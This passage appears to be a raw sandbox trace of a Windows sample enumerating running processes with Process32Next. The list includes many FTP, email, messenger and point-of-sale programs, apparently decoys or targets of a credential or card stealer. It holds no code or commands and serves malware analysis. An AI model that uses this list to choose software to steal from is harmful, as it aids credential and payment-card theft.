th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.491] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.493] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.495] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.497] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.499] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.501] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0282.503] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0282.505] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0282.507] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.509] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0282.511] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0282.513] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0282.515] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0282.535] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0282.538] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0282.542] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0282.545] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.548] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0282.550] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0282.552] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0282.555] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0282.558] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="teammaintain.exe")) returned 1 [0282.561] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cover_more.exe")) returned 1 [0282.563] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="along.exe")) returned 1 [0282.567] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="another artist.exe")) returned 1 [0282.569] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="second-position-home.exe")) returned 1 [0282.571] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0282.573] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="he mention news.exe")) returned 1 [0282.575] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cup.exe")) returned 1 [0282.577] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="strategy player owner.exe")) returned 1 [0282.579] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="now third.exe")) returned 1 [0282.581] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="safe.exe")) returned 1 [0282.583] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="lossnecessary.exe")) returned 1 [0282.585] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="agent.exe")) returned 1 [0282.588] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk.exe")) returned 1 [0282.591] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="upguess.exe")) returned 1 [0282.593] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0282.595] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0282.598] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0282.600] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0282.602] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0282.604] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0282.606] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0282.607] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0282.610] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0282.613] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0282.615] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0282.617] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0282.620] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0282.622] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0282.625] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1028, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0282.627] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0282.629] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0282.632] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1044, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0282.634] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0282.637] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0282.640] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0282.680] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0282.683] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0282.685] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0282.688] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0282.690] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0282.693] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0282.695] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0282.698] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0282.700] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0282.702] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0282.705] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0282.709] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1100, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0282.711] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0282.714] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0282.716] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0282.718] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0282.721] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0282.723] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0282.726] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0282.728] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0282.730] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0282.733] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0282.735] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="large.exe")) returned 1 [0282.737] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="analysis_democrat.exe")) returned 1 [0282.739] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0282.741] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, 